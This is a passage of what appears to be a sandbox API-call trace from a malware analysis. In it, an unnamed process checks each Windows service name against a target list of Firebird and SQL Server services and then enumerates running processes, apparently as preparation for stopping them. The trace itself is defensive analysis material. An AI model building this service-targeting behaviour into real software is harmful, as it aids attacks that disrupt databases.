(lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0183.571] lstrlenW (lpString="Audiosrv") returned 8 [0183.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0183.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0183.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0183.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0183.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0183.571] lstrlenW (lpString="BFE") returned 3 [0183.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0183.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0183.571] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0183.571] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0183.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0183.571] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0183.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.571] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0183.571] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0183.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0183.572] lstrlenW (lpString="CDPSvc") returned 6 [0183.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0183.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0183.572] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0183.572] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0183.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0183.572] lstrlenW (lpString="ClickToRunSvc") returned 13 [0183.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.572] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0183.572] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0183.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0183.572] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0183.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.572] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0183.572] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0183.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0183.572] lstrlenW (lpString="CryptSvc") returned 8 [0183.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0183.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0183.572] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0183.572] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0183.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0183.572] lstrlenW (lpString="DcomLaunch") returned 10 [0183.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0183.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0183.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0183.573] lstrlenW (lpString="DeviceAssociationService") returned 24 [0183.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0183.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0183.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0183.573] lstrlenW (lpString="Dhcp") returned 4 [0183.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0183.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0183.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0183.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0183.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0183.573] lstrlenW (lpString="Dnscache") returned 8 [0183.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0183.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0183.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0183.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0183.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0183.573] lstrlenW (lpString="DPS") returned 3 [0183.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0183.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0183.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0183.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0183.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0183.573] lstrlenW (lpString="DusmSvc") returned 7 [0183.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0183.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0183.573] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0183.573] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0183.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0183.574] lstrlenW (lpString="EventLog") returned 8 [0183.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0183.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0183.574] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0183.574] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0183.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0183.574] lstrlenW (lpString="EventSystem") returned 11 [0183.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0183.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0183.574] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0183.574] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0183.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0183.574] lstrlenW (lpString="FontCache") returned 9 [0183.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0183.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0183.574] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0183.574] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0183.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0183.574] lstrlenW (lpString="gpsvc") returned 5 [0183.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0183.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0183.574] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0183.574] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0183.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0183.574] lstrlenW (lpString="iphlpsvc") returned 8 [0183.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.574] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0183.574] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0183.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0183.574] lstrlenW (lpString="KeyIso") returned 6 [0183.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0183.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0183.575] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0183.575] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0183.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0183.575] lstrlenW (lpString="LanmanServer") returned 12 [0183.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0183.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0183.575] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0183.575] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0183.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0183.575] lstrlenW (lpString="LanmanWorkstation") returned 17 [0183.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.575] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0183.575] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0183.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0183.575] lstrlenW (lpString="lfsvc") returned 5 [0183.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0183.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0183.575] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0183.575] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0183.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0183.575] lstrlenW (lpString="lmhosts") returned 7 [0183.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0183.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0183.575] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0183.575] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0183.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0183.575] lstrlenW (lpString="LSM") returned 3 [0183.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0183.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0183.575] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0183.576] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0183.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0183.576] lstrlenW (lpString="MpsSvc") returned 6 [0183.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0183.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0183.576] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0183.576] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0183.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0183.576] lstrlenW (lpString="NcbService") returned 10 [0183.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0183.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0183.576] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0183.576] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0183.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0183.576] lstrlenW (lpString="netprofm") returned 8 [0183.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0183.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0183.576] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0183.576] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0183.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0183.576] lstrlenW (lpString="NgcSvc") returned 6 [0183.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0183.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0183.576] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0183.576] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0183.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0184.160] lstrlenW (lpString="NlaSvc") returned 6 [0184.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0184.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0184.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0184.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0184.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0184.160] lstrlenW (lpString="nsi") returned 3 [0184.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0184.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0184.160] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0184.160] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0184.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0184.160] lstrlenW (lpString="PcaSvc") returned 6 [0184.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0184.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0184.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0184.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0184.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0184.160] lstrlenW (lpString="PlugPlay") returned 8 [0184.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0184.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0184.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0184.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0184.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0184.160] lstrlenW (lpString="Power") returned 5 [0184.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0184.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0184.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0184.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0184.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0184.161] lstrlenW (lpString="ProfSvc") returned 7 [0184.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0184.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0184.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0184.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0184.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0184.161] lstrlenW (lpString="RpcEptMapper") returned 12 [0184.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0184.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0184.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0184.161] lstrlenW (lpString="RpcSs") returned 5 [0184.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0184.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0184.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0184.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0184.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0184.161] lstrlenW (lpString="SamSs") returned 5 [0184.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0184.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0184.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0184.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0184.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0184.161] lstrlenW (lpString="Schedule") returned 8 [0184.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0184.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0184.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0184.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0184.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0184.162] lstrlenW (lpString="SecurityHealthService") returned 21 [0184.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0184.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0184.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0184.162] lstrlenW (lpString="SENS") returned 4 [0184.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0184.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0184.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0184.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0184.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0184.162] lstrlenW (lpString="ShellHWDetection") returned 16 [0184.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0184.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0184.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0184.162] lstrlenW (lpString="Spooler") returned 7 [0184.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0184.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0184.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0184.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0184.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0184.162] lstrlenW (lpString="StateRepository") returned 15 [0184.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0184.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0184.163] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0184.163] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0184.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0184.163] lstrlenW (lpString="SysMain") returned 7 [0184.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0184.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0184.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0184.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0184.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0184.163] lstrlenW (lpString="SystemEventsBroker") returned 18 [0184.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0184.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0184.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0184.163] lstrlenW (lpString="Themes") returned 6 [0184.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0184.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0184.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0184.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0184.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0184.163] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0184.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0184.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0184.163] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0184.163] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0184.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0184.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0184.175] Process32FirstW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.175] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0184.176] lstrlenW (lpString="System") returned 6 [0184.176] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0184.176] lstrlenW (lpString="smss.exe") returned 8 [0184.176] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.177] lstrlenW (lpString="csrss.exe") returned 9 [0184.177] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0184.177] lstrlenW (lpString="wininit.exe") returned 11 [0184.177] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.178] lstrlenW (lpString="csrss.exe") returned 9 [0184.178] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0184.178] lstrlenW (lpString="winlogon.exe") returned 12 [0184.178] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0184.179] lstrlenW (lpString="services.exe") returned 12 [0184.179] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0184.179] lstrlenW (lpString="lsass.exe") returned 9 [0184.179] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0184.180] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0184.180] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0184.180] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0184.180] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | 